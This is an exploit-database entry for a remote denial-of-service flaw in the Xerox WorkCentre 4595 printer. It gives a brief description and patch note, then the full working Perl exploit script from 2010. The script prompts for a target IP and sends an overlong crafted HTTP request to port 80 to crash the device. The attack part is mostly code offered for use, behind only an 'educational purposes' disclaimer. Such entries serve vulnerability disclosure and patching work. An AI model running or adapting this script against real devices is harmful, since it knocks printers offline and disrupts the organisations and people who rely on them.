Xerox 4595 Remote Dos

vendor:

WorkCentre 4595

by:

chap0

7,8

CVSS

HIGH

Remote Denial of Service (DoS)

CWE

Product Name: WorkCentre 4595

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: YES

Related CWE: N/A

CPE: h:xerox:workcentre_4595

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2010

A remote denial of service (DoS) vulnerability exists in Xerox 4595 due to improper validation of user-supplied input. An attacker can exploit this vulnerability by sending a specially crafted HTTP request containing a long string of characters to the vulnerable device. This will cause the device to crash, resulting in a denial of service condition.

Mitigation:

Xerox has released a patch to address this vulnerability. Users are advised to apply the patch as soon as possible.

Source

Exploit-DB raw data:

#!/usr/bin/perl
# 
# Xerox 4595 Remote Dos
# November 1, 2010
# By chap0 - The tongue has the power of life and death
# [www.seek-truth.net][www.corelan.be:8800]
#
# Public Advisories
# http://www.xerox.com/downloads/usa/en/c/cert_XRX10-004_v1.0.pdf
# http://www.corelan.be:8800/advisories.php?id=CORELAN-10-065 
# 
# Greets to Corelan Team
# http://www.corelan.be:8800/index.php/security/corelan-team-members/
#
# Script provided 'as is', without any warranty. Use for educational purposes only.
# Do not use this code to do anything illegal! Corelan does not want anyone to use this script
# for malicious and/or illegal purposes. Corelan cannot be held responsible for any illegal use.
#
# Note : you are not allowed to edit/modify this code.  
# If you do, Corelan cannot be held responsible for any damages this may cause.

use IO::Socket;

my $head = "http://";
my $code = "\x41" x 25;
$code=$code."\x25" x 4;
$code=$code."\x41" x 347;
$code=$code.".htm";

print "\nEnter the IP of the Xerox 4595 to DoS: ";
chomp ($ip = <STDIN>);

my $dos = $head.$ip.$code;

$sock = IO::Socket::INET->new(PeerAddr => $ip, PeerPort => 80, Proto => "tcp" ); die "Check your connection: $!\n" unless $sock;

print $sock "$dos\r\n";


close ($sock);

print "Connect to $ip in a browser to see if the Dos was successful\n";